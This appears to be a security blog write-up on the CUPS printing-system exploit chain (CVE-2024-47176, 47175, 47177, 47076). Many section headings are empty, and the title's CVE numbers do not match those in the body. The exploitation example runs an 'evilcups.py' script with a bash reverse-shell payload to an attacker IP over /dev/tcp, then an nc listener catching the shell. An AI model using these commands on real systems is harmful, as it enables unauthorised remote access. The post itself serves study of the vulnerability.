Understanding the CUPS Exploit Chain: A Deep Dive into CVE-2024-4176, CVE-2024-4175, CVE-2024-4177 and CVE-2024-4076

Oct 22, 2024    #cve-2024-4176   #cve-2024-4175   #cve-2024-4177   #cve-2024-4076   #linux   #cups  

Introduction

The Common UNIX Printing System (CUPS) is a crucial component in many Unix-like operating systems, including Linux and macOS. Recent discoveries have revealed significant vulnerabilities in CUPS, potentially exposing systems to serious security risks. This post will explore these vulnerabilities and demonstrate how they can be exploited.

CUPS, IPP & PPD: A Primer

Common UNIX Printing System (CUPS) Primer:

Internet Printing Protocol (IPP) Primer:

PostScript Printer Description (PPD) Primer:

The Vulnerabilities

CVE-2024-47176: Malicious Packet Exploitation:

CVE-2024-47175: Fake Printer Addition:

CVE-2024-47177: Foomatic-RIP Filter Exploitation:

CVE-2024-47076: Exploiting PPD Instructions and Filters:

Attack Process Deep Dive:

Attack Chain Summarized:

  1. Force the target machine to connect back to our malicious IPP server by sending a crafted packet to port 631 thereby starting the process of creating a fake printer.
  2. Return a malicious IPP attribute string to inject our controlled PPD directives to the temporary file.
  3. Either print a test page from our fake printer if we have access to the CUPS web panel to trigger the PPD directives (and our commands) to be executed or wait for a print job to be sent to the fake printer.

Detailed Exploitation Process:

Step 1: Getting the printer to connect back (CVE-2024-47176):

Step 2: Adding the Fake Printer (CVE-2024-47175):

Step 3: Exploiting PPD Instructions and Filters (CVE-2024-47076):

Step 4: Exploiting the Foomatic-RIP Filter (CVE-2024-47177):

Step 5: Attack Execution:

Once the fake printer is added and the malicious PPD file is in place:

  1. Wait for a print job to be sent to the fake printer, or
  2. Trigger a test print from the CUPS web interface (if accessible)
  3. The malicious commands injected via the PPD file will be executed when the print job is processed

This attack chain demonstrates the compounding effect of multiple vulnerabilities in a system. Always ensure proper permissions and ethical considerations before testing or demonstrating such exploits.

Example of Exploitation.

Preparing the CUPS Exploit:

Running the CUPS Exploit:

  1. Running the exploit to send the payload:

    • python3 evilcups.py [AttackIP] [VictimIP] "bash -c 'bash -i >& /dev/tcp/[AttackIP]/[AttackPort] 0>&1'"
    • python3 evilcups.py 10.10.14.58 $box "bash -c 'bash -i >& /dev/tcp/10.10.14.58/443 0>&1'"
    • Now the payload is sent we can move onto the next stage of triggering the exploit:
  2. Start our listener:

    • rlwrap -cAr nc -lnvp 443
  3. Trigger the exploit:

    • Navigating the CUPS web-console we can see our malicious printer is listed:

    • Printing our test page to trigger the exploit:

      • In order to activate the exploit and trigger the malicious PPD directives we need to either wait for a print job to be sent to the fake printer or we can trigger one ourselves using the “Test Print” functionality.
  4. Low Priv Shell Caught:

Conclusion

The vulnerabilities in CUPS demonstrate the ongoing need for vigilance in system security, even in widely-used and well-established software.

References



Next: Understanding the NoPac Exploit: A Deep Dive into CVE-2021-42278 and CVE-2021-42287